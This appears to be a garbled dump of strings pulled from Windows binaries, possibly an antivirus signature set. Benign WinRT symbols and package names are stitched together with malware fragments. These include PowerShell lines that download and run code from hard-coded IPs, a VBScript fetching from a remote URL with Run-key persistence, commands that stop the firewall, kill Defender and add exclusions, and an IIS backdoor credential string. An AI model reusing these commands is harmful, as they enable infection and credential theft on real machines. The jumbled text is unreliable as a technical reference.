are\microsoft\windows\currentversion\run\"&"ooods",bomlocal+"clear.bat"wscript.sleep1500setobjshell=createobject("shell.application")objshell.shellexecutebomlocal+"clear.bat"setobjshell=nothinglocatefiledow="http://luizsilva-001-site1.btempurl.com/mascara02/index.php"onerrorresumenextsetgeatxml=createobject("msxml2.xmlhttp")geatxml.open"get",locatefiledow,falsegeatxml.send()
system32\
c:\windows\
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UHomePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UHomePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UHomePage@implementation@TaskManagerApp@winrt@@V?$tuple@UHomePage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$DetailsPage_base@UDetailsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IUIElementOverridesT@UDetailsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UDetailsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UDetailsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UDetailsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UDetailsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UDetailsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UDetailsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UDetailsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UDetailsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IPageOverridesT@UDetailsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
A\windows\currentversion\policies\systemenableluat)winregopenkeyhkey_local_machin
c:\windows\system32\windowspowershell\v1.0\
COMPUTERNAME=WINDOWS11
USERNAME=WINDOWS11$
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
%BrowserAppProfile%\Main\WindowsSearch!ConfiguredScopes
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
OS=Windows_NT
C:\WINDOWS\system32\msvbvm60.dll\3
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Wifi-Client-Marvel-Mrvlpcie8897-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
=%appdata%\microsoft\windows\*
    name="Microsoft.Windows.Shell.shell32"
  <description>Windows Shell</description>
        name="Microsoft.Windows.Common-Controls"
Windows Photo Viewer\
windows\system32\cmdA
 -windowStyle hidden -Command(New-
\Windows
\Windows\
askManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UPerformancePage@implementation@TaskManagerApp@winrt@@V?$tuple@UPerformancePage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
3.run("c:\windows\=
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
*c:\windows\
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft.Windows.Kernel.KernelBase.Fallback
Microsoft.Windows.Kernel.KernelBase
WindowsVersion
ir%\system32\shell32.dll%
windows\system32)
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
Failed to start Media Foundation, accelerated media functionality may be disabled. If you're using Windows N, see https://support.microsoft.com/en-us/topic/media-feature-pack-for-windows-10-n-may-2020-ebbdf559-b84c-0fc2-bd51-e23c9f6a4439 for information on how to install the Media Feature Pack. Error: 
COMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\microsoftwindows.crossdevice_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\Users\job\AppData\Local\Packages\microsoftwindows.crossdevice_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\microsoftwindows.crossdevice_cw5n1h2txyewy\AC\Temp
Windows
Media.VideoCapture.Windows.NumberOfRetriesNeededForMFGetDeviceStreamCount
Media.VideoCapture.Windows.NumberOfRetriesNeededForMFGetDeviceStreamCategory
Media.VideoCapture.Windows.NumberOfRetriesNeededForMFGetAvailableDeviceMediaType
Windows Video Capture COM Thread
AIPageContentIncludePopupWindows
\system32\inmbox\
rundll32.exe user32.dll, LockWorkStationdel %windir%\system32\mrt.exe /qNET STOP Windows FirewallNET STOP Windows Updatetaskkill /f /im msseces.exe
windowsdefender://
c:\windows\a.txth
\currentversion\winlogon
EnterpriseCheck.WindowsProfileType
windows.
user/v1.0/edge/windows/policies/
kAccountsSettingWindowShowFailed
disable-backgrounding-occluded-windows
N?handleDrag@QWindowSystemInterface@@SA?AVQPlatformDragQtResponse@@PEAVQWindow@@PEBVQMimeData@@AEBVQPoint@@V?$QFlags@W4DropAction@Qt@@@@V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
 N?handleDrop@QWindowSystemInterface@@SA?AVQPlatformDropQtResponse@@PEAVQWindow@@PEBVQMimeData@@AEBVQPoint@@V?$QFlags@W4DropAction@Qt@@@@V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
ReservedWindowsCharacters
ReservedWindowsNames
windows
WINDOWS.WEB.HTTP.HTTPRESPONSEMESSAGE
WINDOWS.SYSTEM.INTERNAL.USERMANAGER
75c:\windows\system32\cmd.exe/c"bitsadmin/transfer
set="windows-1252"><title>d0c</title><linkrel="i
onecore\windows\hvsi\settings\src\registryutils\registryutils.cpp
onecore\windows\hvsi\settings\src\registryutils\registrystore.cpp
rWindows
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
OthelloWindowsApplicationO
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
windows.protocol
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewyR
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy
=c:\windows\system32\systam.exe"powershell-command"
	"Windows"
com.microsoft.windows.extension.shelluihos\
89^com.microsoft.windows.e
uriWindowsFilenameToUriStringA
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
wEc:\windows\system32\rundll32.exe)..\..\..\..\windows\system32\rundll32.exen3zarek.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-whidden-c"iex((new-objectnet.webclient).downloadstring('http://120.48.85.228:80/favicon')
Microsoft.Windows.UI.Shell.StartUI.WinRTHelpers
Microsoft.Windows.Shell.ExperienceHost
Microsoft.Windows.AppLifeCycle.UI
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.JumpView
Microsoft.Windows.ErrorHandling.Fallback
WindowsInternal.Shell.UnifiedTile
Microsoft.Windows.S
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
GetActivationFactory( StringReference(RuntimeClass_Windows_Internal_CapabilityAccess_Management_CapabilityConsentManager).Get(), &consentManagerStatics)
WindowSharedStorageImpl
SharedStorageWindowSupplement
?defaultWindowState@QPlatformIntegration@@UEBA?AW4WindowState@Qt@@V?$QFlags@W4WindowType@Qt@@@@@Z
?deferredFlushWindowSystemEvents@QWindowSystemInterface@@SAXV?$QFlags@W4ProcessEventsFlag@QEventLoop@@@@@Z
Windows.Devices.Enumeration.dll
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsStringHasEmbeddedNull
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsSubstringWithSpecifiedLength
D:\a\_work\1\s\windows\x64\Release\ReactNativePicker\ReactNativePicker.pdb
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsSubstringWithSpecifiedLength
WindowsGetStringLen
WindowsIsStringEmpty
WindowsSubstring
EnumWindows
?registerTouchDevice@QWindowSystemInterface@@SAXPEBVQTouchDevice@@@Z
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileviewfactory.cpp
windows
windowsPhone
Windows.Foundation.Metadata
6Windows
Windows.Globalization.Collation
Windows.Globalization.DateTimeFormatting
Windows.Globalization.Fonts
Windows.Foundation.Diagnostics
Windows.Foundation
Microsoft.Windows.TenantRestrictions.Plugin
Microsoft.Windows.TlgAggregateInternal
csc3-2010C:\Windows\Env.ini
C:\WINDOWS\twein__32.dlldfhdrt8rt$#%YgsadFsdeC shutdown.exe -r -t 00C:\i.txt%s\123.bat!#TEL:Trojan:Win64/Lazy.AHG!MTB
d1^Microsoft.OutlookforWindows
clientcore\windows\advcore\ctf\uim\tim.cpp
clientcore\windows\advcore\ctf\uim\hotkey.cpp
`clientcore\windows\advcore\ctf\uim\tsfcontextconnection.cpp
windows.activatableClass.inProcessServerX,
windows.activatableClass.inProcessServerW,
windows.activatableClass.inProcessServerV,
windows.activatableClass.inProcessServerU,
windows.activatableClass.inProcessServerT,
windows.activatableClass.inProcessServerS,
windows.activatableClass.inProcessServerR&
windows.activatableClass.proxyStubQ,
windows.activatableClass.inProcessServerP,
windows.activatableClass.inProcessServerO&
windows.activatableClass.proxyStubN&
windows.activatableClass.proxyStubM,
windows.activatableClass.inProcessServerL,
windows.activatableClass.inProcessServerK,
windows.activatableClass.inProcessServerJ,
windows.activatableClass.inProcessServerI,
windows.activatableClass.inProcessServerH,
windows.activatableClass.inProcessServerG,
windows.activatableClass.inProcessServerF,
windows.activatableClass.inProcessServerE,
windows.activatableClass.inProcessServerD&
windows.deploymentExtensionHandlerC,
windows.activatableClass.inProcessServerB&
windows.activatableClass.proxyStubA,
windows.activatableClass.inProcessServer@,
windows.activatableClass.inProcessServer?,
windows.activatableClass.inProcessServer>,
windows.activatableClass.inProcessServer=,
windows.activatableClass.inProcessServer<,
windows.activatableClass.inProcessServer;,
windows.activatableClass.inProcessServer:,
windows.activatableClass.inProcessServer9,
windows.activatableClass.inProcessServer8,
windows.activatableClass.inProcessServer7,
windows.activatableClass.inProcessServer6,
windows.activatableClass.inProcessServer5&
windows.activatableClass.proxyStub4,
windows.activatableClass.inProcessServer3,
windows.activatableClass.inProcessServer2,
windows.activatableClass.inProcessServer1,
windows.activatableClass.inProcessServer0,
windows.activatableClass.inProcessServer/,
windows.activatableClass.inProcessServer.,
windows.activatableClass.inProcessServer-,
windows.activatableClass.inProcessServer,,
windows.activatableClass.inProcessServer+,
windows.activatableClass.inProcessServer*,
windows.activatableClass.inProcessServer),
windows.activatableClass.inProcessServer(,
windows.activatableClass.inProcessServer',
windows.activatableClass.inProcessServer&,
windows.activatableClass.inProcessServer%,
windows.activatableClass.inProcessServer$,
windows.activatableClass.inProcessServer#,
windows.activatableClass.inProcessServer",
windows.activatableClass.inProcessServer!,
windows.activatableClass.inProcessServer ,
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.packageExtension
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer	,
windows.acti
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServerV
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\NavigationPaneView.xaml.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\LauncherFrameKeyboardNavigationService.h
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\ShellHandwritingHelper.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\ShellHandwritingHitTestHandler.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\LayoutUtils.h
shellcommon\shell\Windows.UI.Shell\StartDocked\C
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe%5Cresources.pris\sy
@%SystemRoot%\System32\main.cpl,-102#immutable1
@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Files/Images/Square150x150Logo.png}
@{Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsTerminal/Resources/AppName}t
@%SystemRoot%\System32\srchadmin.dll,-601#immutable1
@%SystemRoot%\System32\SyncCenter.dll,-3000#immutable1
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
://gnb4.blob.core.windows.net/v54/o77v.html#
slfa14.blob.core.windows.net/ff7/ap3x.html?pc=ac181tm12u&custtype=current&sc_id=
\windows\currentversion\runonce
onecoreuap\shell\Windows.UI.Shell\sharedutilities\dll\ApplicationResourceLoader.cpp
4System.Security.Claims.dllBSystem.Security.Principal.Windows
JSystem.Security.Principal.Windows.dllNSystem.ServiceProcess.ServiceController
7Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/Files/images/Logo.png}
c:\windows\imes\
c:\windows\imes\
c:\windows\imes\
system32\zero.log
 out the native module!Windows.UI.Xaml.Controls.C
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\VerbUtilities.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\StartMenuAccountBadgingPayloadWrapper.cpp
:\windows\immersivecontrolpanel\systemsettingsK
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
b2^com.microsoft.windows.extensionpackage
b3^com.microsoft.windows.widgets
com.microsoft.windows.widgets
b4^com.microsoft.windows.extensionpackage
winsta0\WinlogonE:\security\release\Temp\mpsvc.dllRTProcSelfRTPathJoin!#TEL:Trojan:MSIL/MassLoggers.AMDA!MTB
Windows.Storage.dll
GetWindowsDirectoryA
GetWindowsDirectoryW
c:\windows\>
Windows.SystemToast.CloudExperienceHostLauncherCustom
Windows.SystemToast.DisplaySettings
Windows.SystemToast.FodHelper
Windows.SystemToast.MobilityExperience
Windows.SystemToast.Suggested
Windows.SystemToast.WindowsTip
ROOT\Microsoft\Windows\PS_MMAgent
ROOT\Microsoft\Windows\PS_MMAgent
ROOT\Microsoft\Windows\PS_MMAgent
ROOT\Microsoft\Windows\PS_MMAgent
ROOT\Microsoft\Windows\PS_MMAgent
OS=Windows_NT
jTIIS_backdoor_dll.dllIIS-Backdoor.C:\Windows\Temp\creds.dbCHttpModule::OnPostBeginRequestX-PasswordNo Creds Found
WINDOWS11
root\Microsoft\Windows\DeviceGuard
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
//:ptth','0','startupname','regasm','0'))}}".exe-windowstylehidden
set-location'$env:appdatamicrosoftwindowsstartmenuprogramsstartup;
core.sys.windows
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.3; .NET4.0C; .NET4.0E; rv:11.0; rt:
\System32\notepad.exeinject successsrc\beacon\bof\mod.rsdecrypted_output.bin!#TEL:PWS:Win64/ChromeKatz.C
C:\EXPSYSTEM\Final Windows RAT\Rat\DcRat\Binaries\Release\Stub\CryptoObfuscator_Output\sdfaf.pdbsdfaf.exesdfgsfsd sdfsgsdffdsfs sdf gsdfsg!#ALFPER:HackTool:Win64/AridPhantom.A!dha
Windows Produc
9:windir+"\system32\seclogon.dll
c:\windows\temp\hook.exe>
start-process-windowstyle$hhcmd$rnnwrzpdvnfgnzwhfwyv:	
\Windows\
|System32\
qc:\windows\system32\forfiles.exe/p"
SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\desktopEvents\desktopEvents.pdb
\windowsdefender"/v"dq
WindowsDefaultLockScreen
1cw5n1h2txyewy!WindowsDefaultLockScreenms-resource:AppDisplayName
com.microsoft.windows.extensionpackageCrossDeviceResumeE!
pWindowsQ
System32
="add-mppreference-exclusionpath'c:\windows\temp
outfile="c:\windowsconfigration\
2@echo---disable"windowsdefenderscheduledscan"task
LOCALAPPDATA=C:\WINDOWS\system32\config
^oc:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypasshdfboodjqbinrdfgfdhopntjfmdjtgfz-windowstyle-commandhiddennoise.dat;(new-objectsystem.net.webclient).downloadfile('http://109.248.151.166/xfhsfgdjfgjdfjhjdhkdzgxhsjhy/ghdjdghdghkyjdghjdgxhdj/wehdfcfg.exe','cisplay.exe')
      "microsoft.windows.devhomeazureextension_8wekyb3d8bbwe",
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
               "microsoft.windowsa
               "9779lucalindholm.coloridiwindows10_m49z15xwfsjtr",
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
7??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_6>@?8??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
